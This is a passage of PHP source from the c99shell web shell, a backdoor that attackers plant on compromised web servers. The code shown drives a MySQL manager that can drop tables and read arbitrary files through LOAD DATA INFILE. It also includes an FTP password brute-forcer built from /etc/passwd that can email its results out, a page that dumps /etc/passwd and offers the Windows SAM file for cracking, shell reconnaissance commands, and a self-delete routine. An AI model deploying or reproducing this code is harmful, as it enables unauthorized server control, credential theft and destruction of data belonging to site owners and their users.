        $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); 
        $values = mysql_fetch_assoc($result); 
        mysql_free_result($result); 
       } 
       else {$values = array();} 
       echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; 
       foreach ($tbl_struct_fields as $field) 
       { 
        $name = $field["Field"]; 
        if (empty($sql_tbl_insert_q)) {$v = "";} 
        echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; 
        $i++; 
       } 
       echo "</table><br>"; 
       echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; 
       if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} 
       echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; 
      } 
     } 
     if ($sql_tbl_act == "browse") 
     { 
      $sql_tbl_ls = abs($sql_tbl_ls); 
      $sql_tbl_le = abs($sql_tbl_le); 
      echo "<hr size=\"1\" noshade>"; 
      echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; 
      $b = 0; 
      for($i=0;$i<$numpages;$i++) 
      { 
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} 
       echo $i; 
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} 
       if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} 
       else {echo "&nbsp;";} 
      } 
      if ($i == 0) {echo "empty";} 
      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; 
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; 
      echo "<tr>"; 
      echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; 
      for ($i=0;$i<mysql_num_fields($result);$i++) 
      { 
       $v = mysql_field_name($result,$i); 
       if ($e[0] == "a") {$s = "d"; $m = "asc";} 
       else {$s = "a"; $m = "desc";} 
       echo "<td>"; 
       if (empty($e[0])) {$e[0] = "a";} 
       if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} 
       else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} 
       echo "</td>"; 
      } 
      echo "<td><font color=\"green\"><b>Action</b></font></td>"; 
      echo "</tr>"; 
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) 
      { 
       echo "<tr>"; 
       $w = ""; 
       $i = 0; 
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} 
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} 
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; 
       $i = 0; 
       foreach ($row as $k=>$v) 
       { 
        $v = htmlspecialchars($v); 
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";} 
        echo "<td>".$v."</td>"; 
        $i++; 
       } 
       echo "<td>"; 
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; 
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; 
       echo "</td>"; 
       echo "</tr>"; 
      } 
      mysql_free_result($result); 
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; 
      echo "<option value=\"\">With selected:</option>"; 
      echo "<option value=\"deleterow\">Delete</option>"; 
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; 
     } 
    } 
    else 
    { 
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock); 
     if (!$result) {echo mysql_smarterror();} 
     else 
     { 
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; 
      $i = 0; 
      $tsize = $trows = 0; 
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) 
      { 
       $tsize += $row["Data_length"]; 
       $trows += $row["Rows"]; 
       $size = view_size($row["Data_length"]); 
       echo "<tr>"; 
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; 
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; 
       echo "<td>".$row["Rows"]."</td>"; 
       echo "<td>".$row["Type"]."</td>"; 
       echo "<td>".$row["Create_time"]."</td>"; 
       echo "<td>".$row["Update_time"]."</td>"; 
       echo "<td>".$size."</td>"; 
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; 
       echo "</tr>"; 
       $i++; 
      } 
      echo "<tr bgcolor=\"000000\">"; 
      echo "<td><center><b></b></center></td>"; 
      echo "<td><center><b>".$i." table(s)</b></center></td>"; 
      echo "<td><b>".$trows."</b></td>"; 
      echo "<td>".$row[1]."</td>"; 
      echo "<td>".$row[10]."</td>"; 
      echo "<td>".$row[11]."</td>"; 
      echo "<td><b>".view_size($tsize)."</b></td>"; 
      echo "<td></td>"; 
      echo "</tr>"; 
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; 
      echo "<option value=\"\">With selected:</option>"; 
      echo "<option value=\"tbldrop\">Drop</option>"; 
      echo "<option value=\"tblempty\">Empty</option>"; 
      echo "<option value=\"tbldump\">Dump</option>"; 
      echo "<option value=\"tblcheck\">Check table</option>"; 
      echo "<option value=\"tbloptimize\">Optimize table</option>"; 
      echo "<option value=\"tblrepair\">Repair table</option>"; 
      echo "<option value=\"tblanalyze\">Analyze table</option>"; 
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; 
      mysql_free_result($result); 
     } 
    } 
   } 
   } 
  } 
  else 
  { 
   $acts = array("","newdb","serverstatus","servervars","processes","getfile"); 
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } 
   if (!empty($sql_act)) 
   { 
    echo "<hr size=\"1\" noshade>"; 
    if ($sql_act == "newdb") 
    { 
     echo "<b>"; 
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} 
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} 
    } 
    if ($sql_act == "serverstatus") 
    { 
     $result = mysql_query("SHOW STATUS", $sql_sock); 
     echo "<center><b>Server-status variables:</b><br><br>"; 
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; 
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} 
     echo "</table></center>"; 
     mysql_free_result($result); 
    } 
    if ($sql_act == "servervars") 
    { 
     $result = mysql_query("SHOW VARIABLES", $sql_sock); 
     echo "<center><b>Server variables:</b><br><br>"; 
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; 
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} 
     echo "</table>"; 
     mysql_free_result($result); 
    } 
    if ($sql_act == "processes") 
    { 
     if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} 
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock); 
     echo "<center><b>Processes:</b><br><br>"; 
     echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; 
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} 
     echo "</table>"; 
     mysql_free_result($result); 
    } 
    if ($sql_act == "getfile") 
    { 
     $tmpdb = $sql_login."_tmpdb"; 
     $select = mysql_select_db($tmpdb); 
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} 
     if ($select) 
     { 
      $created = FALSE; 
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); 
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); 
      $result = mysql_query("SELECT * FROM tmp_file;"); 
      if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} 
      else 
      { 
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} 
       $f = ""; 
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);} 
       if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} 
       else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} 
       mysql_free_result($result); 
       mysql_query("DROP TABLE tmp_file;"); 
      } 
     } 
     mysql_drop_db($tmpdb); //comment it if you want to leave database 
    } 
   } 
  } 
} 
echo "</td></tr></table>"; 
if ($sql_sock) 
{ 
  $affected = @mysql_affected_rows($sql_sock); 
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} 
  echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; 
} 
echo "</table>"; 
} 
if ($act == "mkdir") 
{ 
if ($mkdir != $d) 
{ 
  if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} 
  elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} 
  echo "<br><br>"; 
} 
$act = $dspact = "ls"; 
} 
if ($act == "ftpquickbrute") 
{ 
echo "<b>Ftp Quick brute:</b><br>"; 
if (!win) {echo "This functions not work in Windows!<br><br>";} 
else 
{ 
  function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) 
  { 
   if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} 
   else {$TRUE = TRUE;} 
   if ($TRUE) 
   { 
    $sock = @ftp_connect($host,$port,$timeout); 
    if (@ftp_login($sock,$login,$pass)) 
    { 
     echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; 
     ob_flush(); 
     return TRUE; 
    } 
   } 
  } 
  if (!empty($submit)) 
  { 
   if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} 
   $fp = fopen("/etc/passwd","r"); 
   if (!$fp) {echo "Can't get /etc/passwd for password-list.";} 
   else 
   { 
    if ($fqb_logging) 
    { 
     if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} 
     else {$fqb_logfp = FALSE;} 
     $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."

"; 
     if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} 
    } 
    ob_flush(); 
    $i = $success = 0; 
    $ftpquick_st = getmicrotime(); 
    while(!feof($fp)) 
    { 
     $str = explode(":",fgets($fp,2048)); 
     if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) 
     { 
      echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; 
      $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
"; 
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} 
      $success++; 
      ob_flush(); 
     } 
     if ($i > $fqb_lenght) {break;} 
     $i++; 
    } 
    if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
";} 
    $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); 
    echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; 
    $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
"; 
    if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} 
    if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} 
    fclose($fqb_logfp); 
   } 
  } 
  else 
  { 
   $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; 
   $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); 
   echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; 
  } 
} 
} 
if ($act == "d") 
{ 
if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} 
else 
{ 
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; 
  if (!$win) 
  { 
   echo "<tr><td><b>Owner/Group</b></td><td> "; 
   $ow = posix_getpwuid(fileowner($d)); 
   $gr = posix_getgrgid(filegroup($d)); 
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); 
  } 
  echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; 
} 
} 
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} 
if ($act == "security") 
{ 
echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; 
if (!$win) 
{ 
  if ($nixpasswd) 
  { 
   if ($nixpasswd == 1) {$nixpasswd = 0;} 
   echo "<b>*nix /etc/passwd:</b><br>"; 
   if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} 
   if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} 
   echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; 
   $i = $nixpwd_s; 
   while ($i < $nixpwd_e) 
   { 
    $uid = posix_getpwuid($i); 
    if ($uid) 
    { 
     $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; 
     echo join(":",$uid)."<br>"; 
    } 
    $i++; 
   } 
  } 
  else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} 
} 
else 
{ 
  $v = $_SERVER["WINDIR"]."
epair\sam"; 
  if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} 
  else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."
epair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ .</font></b><br>";} 
} 
if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} 
if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} 
if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} 
if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} 
if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} 
if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} 
if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} 
function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} 
displaysecinfo("OS Version?",myshellexec("cat /proc/version")); 
displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); 
displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); 
displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); 
displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); 
displaysecinfo("RAM",myshellexec("free -m")); 
displaysecinfo("HDD space",myshellexec("df -h")); 
displaysecinfo("List of Attributes",myshellexec("lsattr -a")); 
displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); 
displaysecinfo("Is cURL installed?",myshellexec("which curl")); 
displaysecinfo("Is lynx installed?",myshellexec("which lynx")); 
displaysecinfo("Is links installed?",myshellexec("which links")); 
displaysecinfo("Is fetch installed?",myshellexec("which fetch")); 
displaysecinfo("Is GET installed?",myshellexec("which GET")); 
displaysecinfo("Is perl installed?",myshellexec("which perl")); 
displaysecinfo("Where is apache",myshellexec("whereis apache")); 
displaysecinfo("Where is perl?",myshellexec("whereis perl")); 
displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); 
displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); 
displaysecinfo("locate my.conf",myshellexec("locate my.conf")); 
displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); 
} 
if ($act == "mkfile") 
{ 
if ($mkfile != $d) 
{ 
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} 
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} 
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} 
} 
else {$act = $dspact = "ls";} 
} 
if ($act == "encoder") 
{ 
echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; 
foreach(array("md5","crypt","sha1","crc32") as $v) 
{ 
  echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; 
} 
echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> 
<br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> 
<br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; 
echo "<center>base64_decode - "; 
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} 
else 
{ 
  $debase64 = base64_decode($encoder_input); 
  $debase64 = str_replace("","[0]",$debase64); 
  $a = explode("
",$debase64); 
  $rows = count($a); 
  $debase64 = htmlspecialchars($debase64); 
  if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} 
  else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} 
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; 
} 
echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; 
$c = strlen($encoder_input); 
for($i=0;$i<$c;$i++) 
{ 
  $hex = dechex(ord($encoder_input[$i])); 
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} 
  elseif ($encoder_input[$i] != "\") {echo "%".$hex;} 
} 
echo "\" readonly><br></center></form>"; 
} 
if ($act == "fsbuff") 
{ 
$arr_copy = $sess_data["copy"]; 
$arr_cut = $sess_data["cut"]; 
$arr = array_merge($arr_copy,$arr_cut); 
if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} 
else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} 
} 
if ($act == "selfremove") 
{ 
if (($submit == $rndcode) and ($submit != "")) 
{ 
  if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } 
  else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} 
} 
else 
{ 
